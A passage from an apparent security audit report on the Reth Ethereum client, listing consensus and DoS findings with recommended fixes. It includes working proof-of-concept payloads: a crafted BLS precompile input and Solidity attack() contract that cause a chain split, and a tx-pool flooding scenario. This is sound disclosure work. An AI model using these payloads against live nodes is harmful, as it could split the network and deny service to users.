↪  parent=0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5
```

```
2025-03-06T08:12:46.129779Z  INFO Block added to canonical chain number=42
↪  hash=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72 peers=2 txs=0 gas=0.00 Kgas
↪  gas_throughput=0.00 Kgas/second full=0.0% base_fee=0.00gwei blobs=0 excess_blobs=0
↪  elapsed=5.102357ms
2025-03-06T08:12:46.142237Z  INFO Canonical chain committed number=42
↪  hash=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72 elapsed=47.753s
2025-03-06T08:13:40.313883Z  INFO New payload job created id=0x8801de9fc97d45c8
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:14:01.409750Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:14:02.003246Z  INFO New payload job created id=0x1f08d89617e7998b
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:14:26.003275Z  INFO New payload job created id=0xb1805e9baf630716
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:14:28.732683Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:14:40.306541Z  INFO New payload job created id=0xd0e610db1007dd36
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:14:56.029089Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:15:02.004218Z  INFO New payload job created id=0x5e242b63bb02c5fe
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:15:23.578261Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:15:26.002592Z  INFO New payload job created id=0x50b5f5bdf74f2129
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:15:50.512554Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:16:15.512879Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:16:28.024370Z  INFO New payload job created id=0xd2feca08eae80e68
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:16:42.532753Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:17:09.669147Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:17:36.799683Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:18:01.800221Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:18:02.002119Z  INFO New payload job created id=0xc9351d11f466f703
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:18:28.937244Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:18:56.075619Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:19:16.143113Z  INFO New payload job created id=0xcd1cc5f3b4664cfc
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:19:23.217245Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:19:50.361465Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:20:14.002115Z  INFO New payload job created id=0x2b524bcb6f432782
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:20:15.361823Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:20:42.508378Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:20:50.002355Z  INFO New payload job created id=0xd1c99e4ee2deacaa
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:21:09.646022Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:21:36.784529Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:21:40.140677Z  INFO New payload job created id=0xbd5edc2ae26c616d
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:21:50.004985Z  INFO New payload job created id=0x8a86f4747ea2a3d9
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:22:01.784538Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:22:02.007790Z  INFO New payload job created id=0x53540efd354c48f9
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:22:28.937687Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:22:38.001783Z  INFO New payload job created id=0x79bf506356a894eb
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:22:52.331671Z  INFO New payload job created id=0xeea7d5cfb9c087c3
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:22:56.265049Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:23:16.242806Z  INFO New payload job created id=0xd716d25c691f05b4
↪  parent=0xe65b7e986a1fd732f088d42e384abcafdfe7f60266a482bcbc628b9494c01d72
2025-03-06T08:23:23.506778Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:23:50.504001Z  INFO Status connected_peers=2 latest_block=42
2025-03-06T08:24:15.504748Z  INFO Status connected_peers=2 latest_block=42
```

Recommendation: Consider removing the warming up of `BLOCKHASH_STORAGE_ADDRESS` from the `load_-accounts` function. Additionally, consider updating the value of the `BLOCKHASH_STORAGE_ADDRESS` constant or removing it entirely to prevent potential issues in the future.

3.1.2 `Revm` does not verify whether points are on the curve in the BLS `G1MSM`, `G2MSM`, and `PAIRING_-CHECK` precompiles

Submitted by alexfilippov314

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: EIP-2537 states that input points in the G1MSM, G2MSM, and PAIRING_CHECK precompiles must be in the correct subgroup. The blst library, which revm uses under the hood, verifies this using the endomorphism test described in the EIP:

> The G1 case Before accepting a point P as input that purports to be a member of G1 subject the input to the following endomorphism test: phi(P) + x^2*P = 0
> The G2 case
> Before accepting a point P as input that purports to be a member of G2 subject the input to the following endomorphism test: psi(P) + x*P = 0

The issue arises from the fact that revm performs this test not as an additional check but as a replacement for the on-curve check. This can be seen in g1.rs#L39-L91 for G1:

```rust
pub(super) fn extract_g1_input(
    input: &[u8],
    subgroup_check: bool,
) -> Result<blst_p1_affine, PrecompileError> {
    if input.len() != G1_INPUT_ITEM_LENGTH {
        return Err(PrecompileError::Other(format!(
            "Input should be {G1_INPUT_ITEM_LENGTH} bytes, was {}",
            input.len()
        )));
    }

    let input_p0_x = remove_padding(&input[..PADDED_FP_LENGTH])?;
    let input_p0_y = remove_padding(&input[PADDED_FP_LENGTH..G1_INPUT_ITEM_LENGTH])?;
    let out = decode_and_check_g1(input_p0_x, input_p0_y)?;

    if subgroup_check {
        // ...
        if unsafe { !blst_p1_affine_in_g1(&out) } {
            return Err(PrecompileError::Other("Element not in G1".to_string()));
        }
    } else {
        // ...
        if unsafe { !blst_p1_affine_on_curve(&out) } {
            return Err(PrecompileError::Other(
                "Element not on G1 curve".to_string(),
            ));
        }
    }

    Ok(out)
}
```

And in g2.rs#L56-L111 for G2:

```
pub(super) fn extract_g2_input(
    input: &[u8],
    subgroup_check: bool,
) -> Result<blst_p2_affine, PrecompileError> {
    if input.len() != G2_INPUT_ITEM_LENGTH {
        return Err(PrecompileError::Other(format!(
            "Input should be {G2_INPUT_ITEM_LENGTH} bytes, was {}",
            input.len()
        )));
    }

    let mut input_fps = [&[0; FP_LENGTH]; 4];
    for i in 0..4 {
        input_fps[i] = remove_padding(&input[i * PADDED_FP_LENGTH..(i + 1) * PADDED_FP_LENGTH])?;
    }

    let out = decode_and_check_g2(input_fps[0], input_fps[1], input_fps[2], input_fps[3])?;

    if subgroup_check {
        // ...
        if unsafe { !blst_p2_affine_in_g2(&out) } {
            return Err(PrecompileError::Other("Element not in G2".to_string()));
        }
    } else {
        // ...
        if unsafe { !blst_p2_affine_on_curve(&out) } {
            return Err(PrecompileError::Other(
                "Element not on G2 curve".to_string(),
            ));
        }
    }

    Ok(out)
}
```

This approach is flawed because passing the endomorphism test does not guarantee that the input is a valid point on the curve. As a result, `reth` will accept inputs that other clients reject, producing results in these precompiles that will cause all `reth` nodes to split from the rest of the network.

Proof of Concept: This proof of concept demonstrates the issue with the `G1MSM` precompile, but it can also be reproduced with any of the aforementioned precompiles. To illustrate the issue, I found a point on a different curve that still passes the endomorphism test:

```
Elliptic Curve defined by y^2 = x^3 + 24 over Finite Field of size 4002409555221667393417789825735904156556882 ⌋
↪   819939007885332058136124031650490837864442687629129015664037894272559787

(15633118158730812202859936753421412453109742202978187720301547124665057623171691181625281897777290081322039594 ⌋
↪   344556 :
↪   3236674100890915460738904118849163307977137634186030159846763358736164886129980111795846993376080270444574 ⌋
↪   334963907 : 1)
```

With this, we can craft an input for the `G1MSM` precompile that causes a chain split. In this case, it is simply the scalar multiplication of this point by zero.

```
00000000000000000000000000000000a2833e497b38ee3ca5c62828bf4887a9f940c9e426c7890a759c20f248c23a7210d2432f4c98a ⌋
↪   514e524b5184a0ddac00000000000000000000000000000000150772d56bf9509469f9ebcd6e47570429fd31b0e262b66d512e245c ⌋
↪   38ec37255529f2271fd70066473e393a8bead0c30000000000000000000000000000000000000000000000000000000000000000
```

I have verified that sending `attack()` transaction with this contract causes a chain split:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract POC {
    address immutable msm = address(0x0c);
    bytes32 s;

    function attack() public {
        bytes memory data = hex'000000000000000000000000000000000a2833e497b38ee3ca5c62828bf4887a9f940c9e426c78
        ↪   90a759c20f248c23a7210d2432f4c98a514e524b5184a0ddac00000000000000000000000000000000150772d56bf95094
        ↪   69f9ebcd6e47570429fd31b0e262b66d512e245c38ec37255529f2271fd70066473e393a8bead0c3000000000000000000
        ↪   0000000000000000000000000000000000000000000000';
        (bool success, bytes memory result) = msm.call(data);
        s = keccak256(result);
    }
}
```

However, the issue can be reproduced by simply calling the precompile with different RPCs:

```
cast call 0x000000000000000000000000000000000000000c --data "000000000000000000000000000000000a2833e497b38ee3c
↪   a5c62828bf4887a9f940c9e426c7890a759c20f248c23a7210d2432f4c98a514e524b5184a0ddac000000000000000000000000000
↪   00000150772d56bf9509469f9ebcd6e47570429fd31b0e262b66d512e245c38ec37255529f2271fd70066473e393a8bead0c300000
↪   00000000000000000000000000000000000000000000000000000000000" --rpc-url 127.0.0.1:32838
```

`Reth` returns a point at infinity, while all other clients return an error.

Recommendation: Consider verifying that all input points are on the curve before checking that they are in the correct subgroup.

3.1.3 `Reth` implementation of `EIP-2935` doesn't consider the case where `HISTORY_STORAGE_ADDRESS` is coinbase

Submitted by alexfilippov314, also found by alexfilippov314 and alexfilippov314

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: `Reth` implements `EIP-2935` using the `alloy-rs/evm` crate. Specifically, the system call to `HISTORY_STORAGE_ADDRESS` is performed in eip2935.rs#L26-L63:

```
pub(crate) fn transact_blockhashes_contract_call<Halt>(
    spec: impl EthereumHardforks,
    parent_block_hash: B256,
    evm: &mut impl Evm<HaltReason = Halt>,
) -> Result<Option<ResultAndState<Halt>>, BlockExecutionError> {
    if !spec.is_prague_active_at_timestamp(evm.block().timestamp) {
        return Ok(None);
    }

    // if the block number is zero (genesis block) then no system transaction may occur as per
    // EIP-2935
    if evm.block().number == 0 {
        return Ok(None);
    }

    let mut res = match evm.transact_system_call(
        alloy_eips::eip4788::SYSTEM_ADDRESS,
        HISTORY_STORAGE_ADDRESS,
        parent_block_hash.0.into(),
    ) {
        Ok(res) => res,
        Err(e) => {
            return Err(
                BlockValidationError::BlockHashContractCall { message: e.to_string() }.into()
            )
        }
    };

    // NOTE: Revm currently marks these accounts as "touched" when we do the above transact calls,
    // and includes them in the result.
    //
    // There should be no state changes to these addresses anyways as a result of this system call,
    // so we can just remove them from the state returned.
    res.state.remove(&alloy_eips::eip4788::SYSTEM_ADDRESS);
    res.state.remove(&evm.block().beneficiary);

    Ok(Some(res))
}
```

As seen in the code snippet above, there is a workaround that reverts state changes related to `SYSTEM_ADDRESS` and `beneficiary`. The issue arises because this workaround does not account for the case where `beneficiary` is `HISTORY_STORAGE_ADDRESS` itself. In this case, the following line will revert the storing of the parent block hash:

```
res.state.remove(&evm.block().beneficiary);
```

Considering that all other clients will store the parent block hash, all Reth nodes will split from the rest of the network as soon as a block with `beneficiary == HISTORY_STORAGE_ADDRESS` occurs.

Proof of Concept:

1. Install Kurtosis.
2. Create `network_params.yaml` with the following content:

```
participants:
  - el_type: geth
    cl_type: prysm
    cl_extra_params: ["--suggested-fee-recipient", "0x0000F90827F1C53a10cb7A02335B175320002935"]
    vc_extra_params: ["--suggested-fee-recipient", "0x0000F90827F1C53a10cb7A02335B175320002935"]
    count: 1
  - el_type: nethermind
    cl_type: prysm
    cl_extra_params: ["--suggested-fee-recipient", "0x0000F90827F1C53a10cb7A02335B175320002935"]
    vc_extra_params: ["--suggested-fee-recipient", "0x0000F90827F1C53a10cb7A02335B175320002935"]
    count: 1
  - el_type: reth
    cl_type: prysm
    cl_extra_params: ["--suggested-fee-recipient", "0x0000F90827F1C53a10cb7A02335B175320002935"]
    vc_extra_params: ["--suggested-fee-recipient", "0x0000F90827F1C53a10cb7A02335B175320002935"]
    count: 1

network_params:
  network_id: "585858"
  electra_fork_epoch: 1
  genesis_gaslimit: 30000000
  seconds_per_slot: 12
```

4. Create `Makefile` with the following content:

```
build-geth: ## build geth
  cd /home/allfi/src/audits/cantina/pectra/execution/go-ethereum && docker build -t local-ef-geth:latest .

start-e2e: ## start the e2e
  kurtosis run github.com/ethpandaops/ethereum-package --args-file ./network_params.yaml --image-download
  ↪  always --enclave e2e

kill-e2e: ## stop e2e tests
  kurtosis enclave stop e2e
  kurtosis enclave rm e2e

# Phony targets
.PHONY: build-geth start-e2e kill-e2e
```

5. Run the network:

```
make start-e2e
```

6. Wait until block 32. At block 32 (when Pectra activates), the `Reth` node will split from the rest of the network due to a state root mismatch.

```
2025-03-18T12:52:50.139251Z  INFO Canonical chain committed number=31
↪  hash=0x1eed19af845e2722d4e1b2464b9e818a3b3da4d7280e5090f51d16cc387f774b elapsed=48.905s
2025-03-18T12:53:02.219173Z  INFO State root task finished
↪  state_root=0xf6e0d03e55ae6b2f2e3c612bfb3e9fe27ce6b10271eae92662ee4f9a9d4e1b5b elapsed=5.040945ms
2025-03-18T12:53:02.219229Z  WARN State root task returned incorrect state root
↪  state_root=0xf6e0d03e55ae6b2f2e3c612bfb3e9fe27ce6b10271eae92662ee4f9a9d4e1b5b
↪  block_state_root=0x5f5c549fc7b8791c9a32aa16b77adc98bcb9af9efa3a32c5ceeb1fd3e460cd3b
2025-03-18T12:53:02.222331Z  WARN Re-executed state root does not match block state root
↪  header_state_root=0x5f5c549fc7b8791c9a32aa16b77adc98bcb9af9efa3a32c5ceeb1fd3e460cd3b
↪  re_executed_root=0xf6e0d03e55ae6b2f2e3c612bfb3e9fe27ce6b10271eae92662ee4f9a9d4e1b5b
↪  diff_path=/data/reth/execution-data/invalid_block_hooks/witness/32_0xae359ee0917a0984846b1ea75731b21040391⌋
↪  c0afebedd11e85708534dff6f4b.header_state_root.diff
2025-03-18T12:53:02.224032Z  WARN Trie updates mismatch after re-execution
↪  original_path=/data/reth/execution-data/invalid_block_hooks/witness/32_0xae359ee0917a0984846b1ea75731b2104⌋
↪  0391c0afebedd11e85708534dff6f4b.trie_updates.original.json
↪  re_executed_path=/data/reth/execution-data/invalid_block_hooks/witness/32_0xae359ee0917a0984846b1ea75731b2⌋
↪  1040391c0afebedd11e85708534dff6f4b.trie_updates.re_executed.json
2025-03-18T12:53:02.224177Z  WARN Invalid block error on new payload
↪  invalid_hash=0xae359ee0917a0984846b1ea75731b21040391c0afebedd11e85708534dff6f4b invalid_number=32
↪  validation_err=mismatched block state root: got
↪  0xf6e0d03e55ae6b2f2e3c612bfb3e9fe27ce6b10271eae92662ee4f9a9d4e1b5b, expected
↪  0x5f5c549fc7b8791c9a32aa16b77adc98bcb9af9efa3a32c5ceeb1fd3e460cd3b
2025-03-18T12:53:02.224263Z  WARN Bad block with hash invalid_ancestor=BlockWithParent { parent:
↪  0x1eed19af845e2722d4e1b2464b9e818a3b3da4d7280e5090f51d16cc387f774b, block: NumHash { number: 32, hash:
↪  0xae359ee0917a0984846b1ea75731b21040391c0afebedd11e85708534dff6f4b } }
2025-03-18T12:53:02.224473Z  WARN Encountered invalid block number=32
↪  hash=0xae359ee0917a0984846b1ea75731b21040391c0afebedd11e85708534dff6f4b
```

Recommendation: Consider refactoring the `transact_blockhashes_contract_call` function to properly handle the case where `beneficiary == HISTORY_STORAGE_ADDRESS`.

3.1.4 Reth lack of 7702 filters for tx-pool transactions allows tx-pool DoS

Submitted by guhu95

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Summary: The EIP recommends to implement tx-pool DoS protection from 7702 transactions:

> .. it becomes possible to cause transactions from other accounts to become stale. This is due to the fact that once an EOA has delegated to code, that code can be called by anyone at any point in a transaction ...
> ... the authors recommend that clients do not accept more than one pending transaction for any EOA with a non-zero delegation designator. This minimizes the number of transactions that can be invalidated by a single transaction.

Both Geth and Nethermind implement two filters:

- Senders filter: Allow only one tx from senders with auth (deployed or pending).
- Authorizations filter: Allow only one pending auth for any account.

Reth, however, lacks these filters, exposing its validators and RPC users to DoS.

Finding Description: Example scenario:

- Deploy and fund accounts A001...A625 with EIP-7702 delegations. Delegation is to a Sweeper contract that sweeps ETH to the attacker (or back).
- Submit transactions to the Reth nodes from these accounts with max base fee just below current level.
- Accounts have sufficient ETH so appear statically valid and are added to the pool. Each account can submit 16 consecutive nonces, taking up all 10000 slots in the tx-pool.
- All other pending transactions are discarded.
- A single transaction calling these accounts, included in the next slot, can sweep their ETH, or bump their nonce via EIP-7702, making them invalid and stale.

Impact Explanation:

- Reth validators are DoS-ed if any are scheduled to produce a block, since their pools contain no valid transaction to include.
- Users of Reth RPCs are DoS-ed, since their legitimate pending transactions will be discarded.
- L2 chain with Reth as sequencer will drop all pending user transaction, DoSing the whole L2 chain.

Likelihood Explanation: Given the protections implemented in other nodes, this only griefs Reth and Besu validators (similar issue) and user of Reth and Besu RPCs, which is just 1%+10% of network, so is not a profitable attack - thus low likelihood.

Recommendation: Implement the filters recommended in the EIP.

3.2 Informational

3.2.1 `requests_hash` implementation doesn't follow the specification

Submitted by alexfilippov314

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: EIP-7686 provides the following reference implementation for computing the requests hash:

```
def compute_requests_hash(block_requests: Sequence[bytes]):
    m = sha256()
    for r in block_requests:
        if len(r) > 1:
            m.update(sha256(r).digest())
    return m.digest()
```

Reth uses the following implementation from `alloy-eips`:

```
#[cfg(feature = "sha2")]:
pub fn requests_hash(&self) -> B256 {
    use sha2::{Digest, Sha256};
    let mut hash = Sha256::new();

    let mut requests: Vec<_> = self.0.iter().filter(|req| !req.is_empty()).collect();
    requests.sort_unstable_by_key(|req| {
        // SAFETY: only includes non-empty requests
        req[0]
    });

    for req in requests {
        let mut req_hash = Sha256::new();
        req_hash.update(req);
        hash.update(req_hash.finalize());
    }
    B256::new(hash.finalize().into())
}
```

This implementation does not strictly follow the specification, as it still hashes certain empty requests. Here, an empty request refers to a request with a non-empty request type but empty request data. Such requests pass the `!req.is_empty()` check and are not filtered out.

That said, at present, such requests do not occur during normal execution, so there is no impact.

Recommendation: Consider filtering out requests with a length of less than 2.

3.2.2 `BLOCKHASH_SERVE_WINDOW` incorrect value

Submitted by stevencartavia, also found by alexfilippov314 and alexfilippov314

Severity: Informational

Context: execute.rs#L327

Finding Description: `BLOCKHASH_SERVE_WINDOW` value from revm is 8192 (constants.rs#L20). The value from the EIP doc is 8191 (EIP-2935). I think it is not a vulnerability.

Recommendation: Update the constant.

3.2.3 `HISTORY_STORAGE_ADDRESS` incorrect value

Submitted by stevencartavia, also found by alexfilippov314

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Finding Description: `HISTORY_STORAGE_ADDRESS` constant value is `0F792be4B0c0cb4DAE440Ef133E90C0eCD48CCCC` in the revm constants (constants.rs#L20C58-L20C98). In the EIP 2935 docs it is `0x0000F90827F1C53a10cb7A02335B175320002935` (EIP-2935).

Recommendation: Update the constant.